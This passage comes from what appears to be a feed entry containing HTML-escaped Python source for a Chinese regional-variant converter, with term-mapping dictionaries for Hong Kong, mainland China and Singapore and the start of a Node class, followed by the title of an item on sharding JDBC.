&#39;位元組&#39;, &#39;字節&#39;: &#39;位元組&#39;, &#39;打印&#39;: &#39;打印&#39;, &#39;列印&#39;: &#39;打印&#39;, &#39;硬件&#39;: &#39;硬件&#39;, &#39;硬體&#39;: &#39;硬件&#39;, &#39;二极管&#39;: &#39;二極管&#39;, &#39;二極體&#39;: &#39;二極管&#39;, &#39;三极管&#39;: &#39;三極管&#39;, &#39;三極體&#39;: &#39;三極管&#39;, &#39;数码&#39;: &#39;數碼&#39;, &#39;數位&#39;: &#39;數碼&#39;, &#39;软件&#39;: &#39;軟件&#39;, &#39;軟體&#39;: &#39;軟件&#39;, &#39;网络&#39;: &#39;網絡&#39;, &#39;網路&#39;: &#39;網絡&#39;, &#39;人工智能&#39;: &#39;人工智能&#39;, &#39;人工智慧&#39;: &#39;人工智能&#39;, &#39;航天飞机&#39;: &#39;穿梭機&#39;, &#39;太空梭&#39;: &#39;穿梭機&#39;, &#39;因特网&#39;: &#39;互聯網&#39;, &#39;網際網路&#39;: &#39;互聯網&#39;, &#39;机器人&#39;: &#39;機械人&#39;, &#39;機器人&#39;: &#39;機械人&#39;, &#39;移动电话&#39;: &#39;流動電話&#39;, &#39;行動電話&#39;: &#39;流動電話&#39;, &#39;调制解调器&#39;: &#39;調制解調器&#39;, &#39;數據機&#39;: &#39;調制解調器&#39;, &#39;短信&#39;: &#39;短訊&#39;, &#39;簡訊&#39;: &#39;短訊&#39;, &#39;乍得&#39;: &#39;乍得&#39;, &#39;查德&#39;: &#39;乍得&#39;, &#39;也门&#39;: &#39;也門&#39;, &#39;葉門&#39;: &#39;也門&#39;, &#39;伯利兹&#39;: &#39;伯利茲&#39;, &#39;貝里斯&#39;: &#39;伯利茲&#39;, &#39;佛得角&#39;: &#39;佛得角&#39;, &#39;維德角&#39;: &#39;佛得角&#39;, &#39;克罗地亚&#39;: &#39;克羅地亞&#39;, &#39;克羅埃西亞&#39;: &#39;克羅地亞&#39;, &#39;冈比亚&#39;: &#39;岡比亞&#39;, &#39;甘比亞&#39;: &#39;岡比亞&#39;, &#39;几内亚比绍&#39;: &#39;幾內亞比紹&#39;, &#39;幾內亞比索&#39;: &#39;幾內亞比紹&#39;, &#39;列支敦士登&#39;: &#39;列支敦士登&#39;, &#39;列支敦斯登&#39;: &#39;列支敦士登&#39;, &#39;利比里亚&#39;: &#39;利比里亞&#39;, &#39;賴比瑞亞&#39;: &#39;利比里亞&#39;, &#39;加纳&#39;: &#39;加納&#39;, &#39;迦納&#39;: &#39;加納&#39;, &#39;加蓬&#39;: &#39;加蓬&#39;, &#39;加彭&#39;: &#39;加蓬&#39;, &#39;博茨瓦纳&#39;: &#39;博茨瓦納&#39;, &#39;波札那&#39;: &#39;博茨瓦納&#39;, &#39;卡塔尔&#39;: &#39;卡塔爾&#39;, &#39;卡達&#39;: &#39;卡塔爾&#39;, &#39;卢旺达&#39;: &#39;盧旺達&#39;, &#39;盧安達&#39;: &#39;盧旺達&#39;, &#39;危地马拉&#39;: &#39;危地馬拉&#39;, &#39;瓜地馬拉&#39;: &#39;危地馬拉&#39;, &#39;厄瓜多尔&#39;: &#39;厄瓜多爾&#39;, &#39;厄瓜多&#39;: &#39;厄瓜多爾&#39;, &#39;厄立特里亚&#39;: &#39;厄立特里亞&#39;, &#39;厄利垂亞&#39;: &#39;厄立特里亞&#39;, &#39;吉布提&#39;: &#39;吉布堤&#39;, &#39;吉布地&#39;: &#39;吉布堤&#39;, &#39;哥斯达黎加&#39;: &#39;哥斯達黎加&#39;, &#39;哥斯大黎加&#39;: &#39;哥斯達黎加&#39;, &#39;图瓦卢&#39;: &#39;圖瓦盧&#39;, &#39;吐瓦魯&#39;: &#39;圖瓦盧&#39;, &#39;圣卢西亚&#39;: &#39;聖盧西亞&#39;, &#39;聖露西亞&#39;: &#39;聖盧西亞&#39;, &#39;圣基茨和尼维斯&#39;: &#39;聖吉斯納域斯&#39;, &#39;聖克里斯多福及尼維斯&#39;: &#39;聖吉斯納域斯&#39;, &#39;圣文森特和格林纳丁斯&#39;: &#39;聖文森特和格林納丁斯&#39;, &#39;聖文森及格瑞那丁&#39;: &#39;聖文森特和格林納丁斯&#39;, &#39;圣马力诺&#39;: &#39;聖馬力諾&#39;, &#39;聖馬利諾&#39;: &#39;聖馬力諾&#39;, &#39;圭亚那&#39;: &#39;圭亞那&#39;, &#39;蓋亞那&#39;: &#39;圭亞那&#39;, &#39;坦桑尼亚&#39;: &#39;坦桑尼亞&#39;, &#39;坦尚尼亞&#39;: &#39;坦桑尼亞&#39;, &#39;埃塞俄比亚&#39;: &#39;埃塞俄比亞&#39;, &#39;衣索匹亞&#39;: &#39;埃塞俄比亞&#39;, &#39;衣索比亞&#39;: &#39;埃塞俄比亞&#39;, &#39;基里巴斯&#39;: &#39;基里巴斯&#39;, &#39;吉里巴斯&#39;: &#39;基里巴斯&#39;, &#39;狮子山&#39;: &#39;獅子山&#39;, &#39;塞普勒斯&#39;: &#39;塞浦路斯&#39;, &#39;塞舌尔&#39;: &#39;塞舌爾&#39;, &#39;塞席爾&#39;: &#39;塞舌爾&#39;, &#39;多米尼加&#39;: &#39;多明尼加共和國&#39;, &#39;多明尼加&#39;: &#39;多明尼加共和國&#39;, &#39;多米尼加联邦&#39;: &#39;多明尼加聯邦&#39;, &#39;多米尼克&#39;: &#39;多明尼加聯邦&#39;, &#39;安提瓜和巴布达&#39;: &#39;安提瓜和巴布達&#39;, &#39;安地卡及巴布達&#39;: &#39;安提瓜和巴布達&#39;, &#39;尼日利亚&#39;: &#39;尼日利亞&#39;, &#39;奈及利亞&#39;: &#39;尼日利亞&#39;, &#39;尼日尔&#39;: &#39;尼日爾&#39;, &#39;尼日&#39;: &#39;尼日爾&#39;, &#39;巴巴多斯&#39;: &#39;巴巴多斯&#39;, &#39;巴貝多&#39;: &#39;巴巴多斯&#39;, &#39;巴布亚新几内亚&#39;: &#39;巴布亞新畿內亞&#39;, &#39;巴布亞紐幾內亞&#39;: &#39;巴布亞新畿內亞&#39;, &#39;布基纳法索&#39;: &#39;布基納法索&#39;, &#39;布吉納法索&#39;: &#39;布基納法索&#39;, &#39;布隆迪&#39;: &#39;布隆迪&#39;, &#39;蒲隆地&#39;: &#39;布隆迪&#39;, &#39;義大利&#39;: &#39;意大利&#39;, &#39;所罗门群岛&#39;: &#39;所羅門群島&#39;, &#39;索羅門群島&#39;: &#39;所羅門群島&#39;, &#39;斯威士兰&#39;: &#39;斯威士蘭&#39;, &#39;史瓦濟蘭&#39;: &#39;斯威士蘭&#39;, &#39;斯洛文尼亚&#39;: &#39;斯洛文尼亞&#39;, &#39;斯洛維尼亞&#39;: &#39;斯洛文尼亞&#39;, &#39;新西兰&#39;: &#39;新西蘭&#39;, &#39;紐西蘭&#39;: &#39;新西蘭&#39;, &#39;格林纳达&#39;: &#39;格林納達&#39;, &#39;格瑞那達&#39;: &#39;格林納達&#39;, &#39;格鲁吉亚&#39;: &#39;喬治亞&#39;, &#39;格魯吉亞&#39;: &#39;喬治亞&#39;, &#39;梵蒂冈&#39;: &#39;梵蒂岡&#39;, &#39;毛里塔尼亚&#39;: &#39;毛里塔尼亞&#39;, &#39;茅利塔尼亞&#39;: &#39;毛里塔尼亞&#39;, &#39;毛里求斯&#39;: &#39;毛里裘斯&#39;, &#39;模里西斯&#39;: &#39;毛里裘斯&#39;, &#39;沙烏地阿拉伯&#39;: &#39;沙特阿拉伯&#39;, &#39;波斯尼亚和黑塞哥维那&#39;: &#39;波斯尼亞黑塞哥維那&#39;, &#39;波士尼亞赫塞哥維納&#39;: &#39;波斯尼亞黑塞哥維那&#39;, &#39;津巴布韦&#39;: &#39;津巴布韋&#39;, &#39;辛巴威&#39;: &#39;津巴布韋&#39;, &#39;洪都拉斯&#39;: &#39;洪都拉斯&#39;, &#39;宏都拉斯&#39;: &#39;洪都拉斯&#39;, &#39;特立尼达和托巴哥&#39;: &#39;特立尼達和多巴哥&#39;, &#39;千里達托貝哥&#39;: &#39;特立尼達和多巴哥&#39;, &#39;瑙鲁&#39;: &#39;瑙魯&#39;, &#39;諾魯&#39;: &#39;瑙魯&#39;, &#39;瓦努阿图&#39;: &#39;瓦努阿圖&#39;, &#39;萬那杜&#39;: &#39;瓦努阿圖&#39;, &#39;科摩罗&#39;: &#39;科摩羅&#39;, &#39;葛摩&#39;: &#39;科摩羅&#39;, &#39;索马里&#39;: &#39;索馬里&#39;, &#39;索馬利亞&#39;: &#39;索馬里&#39;, &#39;老挝&#39;: &#39;老撾&#39;, &#39;寮國&#39;: &#39;老撾&#39;, &#39;肯尼亚&#39;: &#39;肯雅&#39;, &#39;肯亞&#39;: &#39;肯雅&#39;, &#39;莫桑比克&#39;: &#39;莫桑比克&#39;, &#39;莫三比克&#39;: &#39;莫桑比克&#39;, &#39;莱索托&#39;: &#39;萊索托&#39;, &#39;賴索托&#39;: &#39;萊索托&#39;, &#39;贝宁&#39;: &#39;貝寧&#39;, &#39;貝南&#39;: &#39;貝寧&#39;, &#39;赞比亚&#39;: &#39;贊比亞&#39;, &#39;尚比亞&#39;: &#39;贊比亞&#39;, &#39;阿塞拜疆&#39;: &#39;阿塞拜疆&#39;, &#39;亞塞拜然&#39;: &#39;阿塞拜疆&#39;, &#39;阿拉伯联合酋长国&#39;: &#39;阿拉伯聯合酋長國&#39;, &#39;阿拉伯聯合大公國&#39;: &#39;阿拉伯聯合酋長國&#39;, &#39;马尔代夫&#39;: &#39;馬爾代夫&#39;, &#39;馬爾地夫&#39;: &#39;馬爾代夫&#39;, &#39;馬利共和國&#39;: &#39;馬里共和國&#39;, &#39;方便面&#39;: &#39;即食麵&#39;, &#39;快速面&#39;: &#39;即食麵&#39;, &#39;速食麵&#39;: &#39;即食麵&#39;, &#39;泡麵&#39;: &#39;即食麵&#39;, &#39;土豆&#39;: &#39;馬鈴薯&#39;, &#39;华乐&#39;: &#39;中樂&#39;, &#39;民乐&#39;: &#39;中樂&#39;, &#39;計程車&#39;: &#39;的士&#39;, &#39;出租车&#39;: &#39;的士&#39;, &#39;公車&#39;: &#39;巴士&#39;, &#39;自行车&#39;: &#39;單車&#39;, &#39;犬只&#39;: &#39;狗隻&#39;, &#39;台球&#39;: &#39;桌球&#39;, &#39;撞球&#39;: &#39;桌球&#39;, &#39;冰淇淋&#39;: &#39;雪糕&#39;, &#39;賓士&#39;: &#39;平治&#39;, &#39;捷豹&#39;: &#39;積架&#39;, &#39;福斯&#39;: &#39;福士&#39;, &#39;雪铁龙&#39;: &#39;先進&#39;, &#39;雪鐵龍&#39;: &#39;先進&#39;, &#39;沃尓沃&#39;: &#39;富豪&#39;, &#39;马自达&#39;: &#39;萬事得&#39;, &#39;馬自達&#39;: &#39;萬事得&#39;, &#39;寶獅&#39;: &#39;標致&#39;, &#39;拿破崙&#39;: &#39;拿破侖&#39;, &#39;布什&#39;: &#39;布殊&#39;, &#39;布希&#39;: &#39;布殊&#39;, &#39;克林顿&#39;: &#39;克林頓&#39;, &#39;柯林頓&#39;: &#39;克林頓&#39;, &#39;萨达姆&#39;: &#39;薩達姆&#39;, &#39;海珊&#39;: &#39;侯賽因&#39;, &#39;侯赛因&#39;: &#39;侯賽因&#39;, &#39;大卫·贝克汉姆&#39;: &#39;大衛碧咸&#39;, &#39;迈克尔·欧文&#39;: &#39;米高奧雲&#39;, &#39;珍妮弗·卡普里亚蒂&#39;: &#39;卡佩雅蒂&#39;, &#39;马拉特·萨芬&#39;: &#39;沙芬&#39;, &#39;迈克尔·舒马赫&#39;: &#39;舒麥加&#39;, &#39;希特勒&#39;: &#39;希特拉&#39;, &#39;狄安娜&#39;: &#39;戴安娜&#39;, &#39;黛安娜&#39;: &#39;戴安娜&#39;} # 中国大陆 zh2CN = {&#39;記憶體&#39;: &#39;内存&#39;, &#39;預設&#39;: &#39;默认&#39;, &#39;串列&#39;: &#39;串行&#39;, &#39;乙太網&#39;: &#39;以太网&#39;, &#39;點陣圖&#39;: &#39;位图&#39;, &#39;常式&#39;: &#39;例程&#39;, &#39;游標&#39;: &#39;光标&#39;, &#39;光碟&#39;: &#39;光盘&#39;, &#39;光碟機&#39;: &#39;光驱&#39;, &#39;全形&#39;: &#39;全角&#39;, &#39;共用&#39;: &#39;共享&#39;, &#39;載入&#39;: &#39;加载&#39;, &#39;半形&#39;: &#39;半角&#39;, &#39;變數&#39;: &#39;变量&#39;, &#39;雜訊&#39;: &#39;噪声&#39;, &#39;因數&#39;: &#39;因子&#39;, &#39;功能變數名稱&#39;: &#39;域名&#39;, &#39;音效卡&#39;: &#39;声卡&#39;, &#39;字型大小&#39;: &#39;字号&#39;, &#39;字型檔&#39;: &#39;字库&#39;, &#39;欄位&#39;: &#39;字段&#39;, &#39;字元&#39;: &#39;字符&#39;, &#39;存檔&#39;: &#39;存盘&#39;, &#39;定址&#39;: &#39;寻址&#39;, &#39;章節附註&#39;: &#39;尾注&#39;, &#39;非同步&#39;: &#39;异步&#39;, &#39;匯流排&#39;: &#39;总线&#39;, &#39;括弧&#39;: &#39;括号&#39;, &#39;介面&#39;: &#39;接口&#39;, &#39;控制項&#39;: &#39;控件&#39;, &#39;許可權&#39;: &#39;权限&#39;, &#39;碟片&#39;: &#39;盘片&#39;, &#39;矽片&#39;: &#39;硅片&#39;, &#39;矽谷&#39;: &#39;硅谷&#39;, &#39;硬碟&#39;: &#39;硬盘&#39;, &#39;磁碟&#39;: &#39;磁盘&#39;, &#39;磁軌&#39;: &#39;磁道&#39;, &#39;程式控制&#39;: &#39;程控&#39;, &#39;運算元&#39;: &#39;算子&#39;, &#39;演算法&#39;: &#39;算法&#39;, &#39;晶片&#39;: &#39;芯片&#39;, &#39;晶元&#39;: &#39;芯片&#39;, &#39;片語&#39;: &#39;词组&#39;, &#39;軟碟機&#39;: &#39;软驱&#39;, &#39;快閃記憶體&#39;: &#39;快闪存储器&#39;, &#39;滑鼠&#39;: &#39;鼠标&#39;, &#39;進位&#39;: &#39;进制&#39;, &#39;互動式&#39;: &#39;交互式&#39;, &#39;優先順序&#39;: &#39;优先级&#39;, &#39;感測&#39;: &#39;传感&#39;, &#39;攜帶型&#39;: &#39;便携式&#39;, &#39;資訊理論&#39;: &#39;信息论&#39;, &#39;迴圈&#39;: &#39;循环&#39;, &#39;防寫&#39;: &#39;写保护&#39;, &#39;分散式&#39;: &#39;分布式&#39;, &#39;解析度&#39;: &#39;分辨率&#39;, &#39;伺服器&#39;: &#39;服务器&#39;, &#39;等於&#39;: &#39;等于&#39;, &#39;區域網&#39;: &#39;局域网&#39;, &#39;巨集&#39;: &#39;宏&#39;, &#39;掃瞄器&#39;: &#39;扫瞄仪&#39;, &#39;寬頻&#39;: &#39;宽带&#39;, &#39;資料庫&#39;: &#39;数据库&#39;, &#39;乳酪&#39;: &#39;奶酪&#39;, &#39;鉅賈&#39;: &#39;巨商&#39;, &#39;手電筒&#39;: &#39;手电&#39;, &#39;萬曆&#39;: &#39;万历&#39;, &#39;永曆&#39;: &#39;永历&#39;, &#39;辭彙&#39;: &#39;词汇&#39;, &#39;母音&#39;: &#39;元音&#39;, &#39;自由球&#39;: &#39;任意球&#39;, &#39;頭槌&#39;: &#39;头球&#39;, &#39;進球&#39;: &#39;入球&#39;, &#39;顆進球&#39;: &#39;粒入球&#39;, &#39;射門&#39;: &#39;打门&#39;, &#39;蓋火鍋&#39;: &#39;火锅盖帽&#39;, &#39;印表機&#39;: &#39;打印机&#39;, &#39;打印機&#39;: &#39;打印机&#39;, &#39;位元組&#39;: &#39;字节&#39;, &#39;字節&#39;: &#39;字节&#39;, &#39;列印&#39;: &#39;打印&#39;, &#39;打印&#39;: &#39;打印&#39;, &#39;硬體&#39;: &#39;硬件&#39;, &#39;二極體&#39;: &#39;二极管&#39;, &#39;二極管&#39;: &#39;二极管&#39;, &#39;三極體&#39;: &#39;三极管&#39;, &#39;三極管&#39;: &#39;三极管&#39;, &#39;數位&#39;: &#39;数码&#39;, &#39;數碼&#39;: &#39;数码&#39;, &#39;軟體&#39;: &#39;软件&#39;, &#39;軟件&#39;: &#39;软件&#39;, &#39;網路&#39;: &#39;网络&#39;, &#39;網絡&#39;: &#39;网络&#39;, &#39;人工智慧&#39;: &#39;人工智能&#39;, &#39;太空梭&#39;: &#39;航天飞机&#39;, &#39;穿梭機&#39;: &#39;航天飞机&#39;, &#39;網際網路&#39;: &#39;因特网&#39;, &#39;互聯網&#39;: &#39;因特网&#39;, &#39;機械人&#39;: &#39;机器人&#39;, &#39;機器人&#39;: &#39;机器人&#39;, &#39;行動電話&#39;: &#39;移动电话&#39;, &#39;流動電話&#39;: &#39;移动电话&#39;, &#39;調制解調器&#39;: &#39;调制解调器&#39;, &#39;數據機&#39;: &#39;调制解调器&#39;, &#39;短訊&#39;: &#39;短信&#39;, &#39;簡訊&#39;: &#39;短信&#39;, &#39;烏茲別克&#39;: &#39;乌兹别克斯坦&#39;, &#39;查德&#39;: &#39;乍得&#39;, &#39;乍得&#39;: &#39;乍得&#39;, &#39;也門&#39;: &#39;&#39;, &#39;葉門&#39;: &#39;也门&#39;, &#39;伯利茲&#39;: &#39;伯利兹&#39;, &#39;貝里斯&#39;: &#39;伯利兹&#39;, &#39;維德角&#39;: &#39;佛得角&#39;, &#39;佛得角&#39;: &#39;佛得角&#39;, &#39;克羅地亞&#39;: &#39;克罗地亚&#39;, &#39;克羅埃西亞&#39;: &#39;克罗地亚&#39;, &#39;岡比亞&#39;: &#39;冈比亚&#39;, &#39;甘比亞&#39;: &#39;冈比亚&#39;, &#39;幾內亞比紹&#39;: &#39;几内亚比绍&#39;, &#39;幾內亞比索&#39;: &#39;几内亚比绍&#39;, &#39;列支敦斯登&#39;: &#39;列支敦士登&#39;, &#39;列支敦士登&#39;: &#39;列支敦士登&#39;, &#39;利比里亞&#39;: &#39;利比里亚&#39;, &#39;賴比瑞亞&#39;: &#39;利比里亚&#39;, &#39;加納&#39;: &#39;加纳&#39;, &#39;迦納&#39;: &#39;加纳&#39;, &#39;加彭&#39;: &#39;加蓬&#39;, &#39;加蓬&#39;: &#39;加蓬&#39;, &#39;博茨瓦納&#39;: &#39;博茨瓦纳&#39;, &#39;波札那&#39;: &#39;博茨瓦纳&#39;, &#39;卡塔爾&#39;: &#39;卡塔尔&#39;, &#39;卡達&#39;: &#39;卡塔尔&#39;, &#39;盧旺達&#39;: &#39;卢旺达&#39;, &#39;盧安達&#39;: &#39;卢旺达&#39;, &#39;危地馬拉&#39;: &#39;危地马拉&#39;, &#39;瓜地馬拉&#39;: &#39;危地马拉&#39;, &#39;厄瓜多爾&#39;: &#39;厄瓜多尔&#39;, &#39;厄瓜多&#39;: &#39;厄瓜多尔&#39;, &#39;厄立特里亞&#39;: &#39;厄立特里亚&#39;, &#39;厄利垂亞&#39;: &#39;厄立特里亚&#39;, &#39;吉布堤&#39;: &#39;吉布提&#39;, &#39;吉布地&#39;: &#39;吉布提&#39;, &#39;哈薩克&#39;: &#39;哈萨克斯坦&#39;, &#39;哥斯達黎加&#39;: &#39;哥斯达黎加&#39;, &#39;哥斯大黎加&#39;: &#39;哥斯达黎加&#39;, &#39;圖瓦盧&#39;: &#39;图瓦卢&#39;, &#39;吐瓦魯&#39;: &#39;图瓦卢&#39;, &#39;土庫曼&#39;: &#39;土库曼斯坦&#39;, &#39;聖盧西亞&#39;: &#39;圣卢西亚&#39;, &#39;聖露西亞&#39;: &#39;圣卢西亚&#39;, &#39;聖吉斯納域斯&#39;: &#39;圣基茨和尼维斯&#39;, &#39;聖克里斯多福及尼維斯&#39;: &#39;圣基茨和尼维斯&#39;, &#39;聖文森特和格林納丁斯&#39;: &#39;圣文森特和格林纳丁斯&#39;, &#39;聖文森及格瑞那丁&#39;: &#39;圣文森特和格林纳丁斯&#39;, &#39;聖馬力諾&#39;: &#39;圣马力诺&#39;, &#39;聖馬利諾&#39;: &#39;圣马力诺&#39;, &#39;圭亞那&#39;: &#39;圭亚那&#39;, &#39;蓋亞那&#39;: &#39;圭亚那&#39;, &#39;坦桑尼亞&#39;: &#39;坦桑尼亚&#39;, &#39;坦尚尼亞&#39;: &#39;坦桑尼亚&#39;, &#39;埃塞俄比亞&#39;: &#39;埃塞俄比亚&#39;, &#39;衣索匹亞&#39;: &#39;埃塞俄比亚&#39;, &#39;衣索比亞&#39;: &#39;埃塞俄比亚&#39;, &#39;吉里巴斯&#39;: &#39;基里巴斯&#39;, &#39;基里巴斯&#39;: &#39;基里巴斯&#39;, &#39;塔吉克&#39;: &#39;塔吉克斯坦&#39;, &#39;塞拉利昂&#39;: &#39;塞拉利昂&#39;, &#39;塞普勒斯&#39;: &#39;塞浦路斯&#39;, &#39;塞浦路斯&#39;: &#39;塞浦路斯&#39;, &#39;塞舌爾&#39;: &#39;塞舌尔&#39;, &#39;塞席爾&#39;: &#39;塞舌尔&#39;, &#39;多明尼加共和國&#39;: &#39;多米尼加&#39;, &#39;多明尼加&#39;: &#39;多米尼加&#39;, &#39;多明尼加聯邦&#39;: &#39;多米尼加联邦&#39;, &#39;多米尼克&#39;: &#39;多米尼加联邦&#39;, &#39;安提瓜和巴布達&#39;: &#39;安提瓜和巴布达&#39;, &#39;安地卡及巴布達&#39;: &#39;安提瓜和巴布达&#39;, &#39;尼日利亞&#39;: &#39;尼日利亚&#39;, &#39;奈及利亞&#39;: &#39;尼日利亚&#39;, &#39;尼日爾&#39;: &#39;尼日尔&#39;, &#39;尼日&#39;: &#39;尼日尔&#39;, &#39;巴貝多&#39;: &#39;巴巴多斯&#39;, &#39;巴巴多斯&#39;: &#39;巴巴多斯&#39;, &#39;巴布亞新畿內亞&#39;: &#39;巴布亚新几内亚&#39;, &#39;巴布亞紐幾內亞&#39;: &#39;巴布亚新几内亚&#39;, &#39;布基納法索&#39;: &#39;布基纳法索&#39;, &#39;布吉納法索&#39;: &#39;布基纳法索&#39;, &#39;蒲隆地&#39;: &#39;布隆迪&#39;, &#39;布隆迪&#39;: &#39;布隆迪&#39;, &#39;希臘&#39;: &#39;希腊&#39;, &#39;帛琉&#39;: &#39;帕劳&#39;, &#39;義大利&#39;: &#39;意大利&#39;, &#39;意大利&#39;: &#39;意大利&#39;, &#39;所羅門群島&#39;: &#39;所罗门群岛&#39;, &#39;索羅門群島&#39;: &#39;所罗门群岛&#39;, &#39;汶萊&#39;: &#39;文莱&#39;, &#39;斯威士蘭&#39;: &#39;斯威士兰&#39;, &#39;史瓦濟蘭&#39;: &#39;斯威士兰&#39;, &#39;斯洛文尼亞&#39;: &#39;斯洛文尼亚&#39;, &#39;斯洛維尼亞&#39;: &#39;斯洛文尼亚&#39;, &#39;新西蘭&#39;: &#39;新西兰&#39;, &#39;紐西蘭&#39;: &#39;新西兰&#39;, &#39;格林納達&#39;: &#39;格林纳达&#39;, &#39;格瑞那達&#39;: &#39;格林纳达&#39;, &#39;格魯吉亞&#39;: &#39;乔治亚&#39;, &#39;喬治亞&#39;: &#39;乔治亚&#39;, &#39;梵蒂岡&#39;: &#39;梵蒂冈&#39;, &#39;毛里塔尼亞&#39;: &#39;毛里塔尼亚&#39;, &#39;茅利塔尼亞&#39;: &#39;毛里塔尼亚&#39;, &#39;毛里裘斯&#39;: &#39;毛里求斯&#39;, &#39;模里西斯&#39;: &#39;毛里求斯&#39;, &#39;沙地阿拉伯&#39;: &#39;沙特阿拉伯&#39;, &#39;沙烏地阿拉伯&#39;: &#39;沙特阿拉伯&#39;, &#39;波斯尼亞黑塞哥維那&#39;: &#39;波斯尼亚和黑塞哥维那&#39;, &#39;波士尼亞赫塞哥維納&#39;: &#39;波斯尼亚和黑塞哥维那&#39;, &#39;津巴布韋&#39;: &#39;津巴布韦&#39;, &#39;辛巴威&#39;: &#39;津巴布韦&#39;, &#39;宏都拉斯&#39;: &#39;洪都拉斯&#39;, &#39;洪都拉斯&#39;: &#39;洪都拉斯&#39;, &#39;特立尼達和多巴哥&#39;: &#39;特立尼达和托巴哥&#39;, &#39;千里達托貝哥&#39;: &#39;特立尼达和托巴哥&#39;, &#39;瑙魯&#39;: &#39;瑙鲁&#39;, &#39;諾魯&#39;: &#39;瑙鲁&#39;, &#39;瓦努阿圖&#39;: &#39;瓦努阿图&#39;, &#39;萬那杜&#39;: &#39;瓦努阿图&#39;, &#39;溫納圖&#39;: &#39;瓦努阿图&#39;, &#39;科摩羅&#39;: &#39;科摩罗&#39;, &#39;葛摩&#39;: &#39;科摩罗&#39;, &#39;象牙海岸&#39;: &#39;科特迪瓦&#39;, &#39;突尼西亞&#39;: &#39;突尼斯&#39;, &#39;索馬里&#39;: &#39;索马里&#39;, &#39;索馬利亞&#39;: &#39;索马里&#39;, &#39;老撾&#39;: &#39;老挝&#39;, &#39;寮國&#39;: &#39;老挝&#39;, &#39;肯雅&#39;: &#39;肯尼亚&#39;, &#39;肯亞&#39;: &#39;肯尼亚&#39;, &#39;蘇利南&#39;: &#39;苏里南&#39;, &#39;莫三比克&#39;: &#39;莫桑比克&#39;, &#39;莫桑比克&#39;: &#39;莫桑比克&#39;, &#39;萊索托&#39;: &#39;莱索托&#39;, &#39;賴索托&#39;: &#39;莱索托&#39;, &#39;貝寧&#39;: &#39;贝宁&#39;, &#39;貝南&#39;: &#39;贝宁&#39;, &#39;贊比亞&#39;: &#39;赞比亚&#39;, &#39;尚比亞&#39;: &#39;赞比亚&#39;, &#39;亞塞拜然&#39;: &#39;阿塞拜疆&#39;, &#39;阿塞拜疆&#39;: &#39;阿塞拜疆&#39;, &#39;阿拉伯聯合酋長國&#39;: &#39;阿拉伯联合酋长国&#39;, &#39;阿拉伯聯合大公國&#39;: &#39;阿拉伯联合酋长国&#39;, &#39;南韓&#39;: &#39;韩国&#39;, &#39;馬爾代夫&#39;: &#39;马尔代夫&#39;, &#39;馬爾地夫&#39;: &#39;马尔代夫&#39;, &#39;馬爾他&#39;: &#39;马耳他&#39;, &#39;馬利共和國&#39;: &#39;马里共和国&#39;, &#39;即食麵&#39;: &#39;方便面&#39;, &#39;快速面&#39;: &#39;方便面&#39;, &#39;速食麵&#39;: &#39;方便面&#39;, &#39;泡麵&#39;: &#39;方便面&#39;, &#39;笨豬跳&#39;: &#39;蹦极跳&#39;, &#39;绑紧跳&#39;: &#39;蹦极跳&#39;, &#39;冷盤&#39;: &#39;凉菜&#39;, &#39;冷菜&#39;: &#39;凉菜&#39;, &#39;散钱&#39;: &#39;零钱&#39;, &#39;谐星&#39;: &#39;笑星&#39;, &#39;夜学&#39;: &#39;夜校&#39;, &#39;华乐&#39;: &#39;民乐&#39;, &#39;中樂&#39;: &#39;民乐&#39;, &#39;屋价&#39;: &#39;房价&#39;, &#39;的士&#39;: &#39;出租车&#39;, &#39;計程車&#39;: &#39;出租车&#39;, &#39;公車&#39;: &#39;公共汽车&#39;, &#39;單車&#39;: &#39;自行车&#39;, &#39;節慶&#39;: &#39;节日&#39;, &#39;芝士&#39;: &#39;乾酪&#39;, &#39;狗隻&#39;: &#39;犬只&#39;, &#39;士多啤梨&#39;: &#39;草莓&#39;, &#39;忌廉&#39;: &#39;奶油&#39;, &#39;桌球&#39;: &#39;台球&#39;, &#39;撞球&#39;: &#39;台球&#39;, &#39;雪糕&#39;: &#39;冰淇淋&#39;, &#39;衞生&#39;: &#39;卫生&#39;, &#39;衛生&#39;: &#39;卫生&#39;, &#39;賓士&#39;: &#39;奔驰&#39;, &#39;平治&#39;: &#39;奔驰&#39;, &#39;積架&#39;: &#39;捷豹&#39;, &#39;福斯&#39;: &#39;大众&#39;, &#39;福士&#39;: &#39;大众&#39;, &#39;雪鐵龍&#39;: &#39;雪铁龙&#39;, &#39;萬事得&#39;: &#39;马自达&#39;, &#39;馬自達&#39;: &#39;马自达&#39;, &#39;寶獅&#39;: &#39;标志&#39;, &#39;拿破崙&#39;: &#39;拿破仑&#39;, &#39;布殊&#39;: &#39;布什&#39;, &#39;布希&#39;: &#39;布什&#39;, &#39;柯林頓&#39;: &#39;克林顿&#39;, &#39;克林頓&#39;: &#39;克林顿&#39;, &#39;薩達姆&#39;: &#39;萨达姆&#39;, &#39;海珊&#39;: &#39;萨达姆&#39;, &#39;梵谷&#39;: &#39;凡高&#39;, &#39;大衛碧咸&#39;: &#39;大卫·贝克汉姆&#39;, &#39;米高奧雲&#39;: &#39;迈克尔·欧文&#39;, &#39;卡佩雅蒂&#39;: &#39;珍妮弗·卡普里亚蒂&#39;, &#39;沙芬&#39;: &#39;马拉特·萨芬&#39;, &#39;舒麥加&#39;: &#39;迈克尔·舒马赫&#39;, &#39;希特拉&#39;: &#39;希特勒&#39;, &#39;黛安娜&#39;: &#39;戴安娜&#39;, &#39;希拉&#39;: &#39;赫拉&#39;} # 新加坡 zh2SG = {&#39;方便面&#39;: &#39;快速面&#39;, &#39;速食麵&#39;: &#39;快速面&#39;, &#39;即食麵&#39;: &#39;快速面&#39;, &#39;蹦极跳&#39;: &#39;绑紧跳&#39;, &#39;笨豬跳&#39;: &#39;绑紧跳&#39;, &#39;凉菜&#39;: &#39;冷菜&#39;, &#39;冷盤&#39;: &#39;冷菜&#39;, &#39;零钱&#39;: &#39;散钱&#39;, &#39;散紙&#39;: &#39;散钱&#39;, &#39;笑星&#39;: &#39;谐星&#39;, &#39;夜校&#39;: &#39;夜学&#39;, &#39;民乐&#39;: &#39;华乐&#39;, &#39;住房&#39;: &#39;住屋&#39;, &#39;房价&#39;: &#39;屋价&#39;, &#39;泡麵&#39;: &#39;快速面&#39;} UEMPTY = &#39;&#39; (START, END, FAIL, WAIT_TAIL) = list(range(4)) (TAIL, ERROR, MATCHED_SWITCH, UNMATCHED_SWITCH, CONNECTOR) = list(range(5)) MAPS = {} class Node(object): def __init__(self, from_word, to_word=None, is_tail=True, have_child=False): self.</description>
    </item>
    <item>
      <title>sharding JDBC读写分离原理</title>
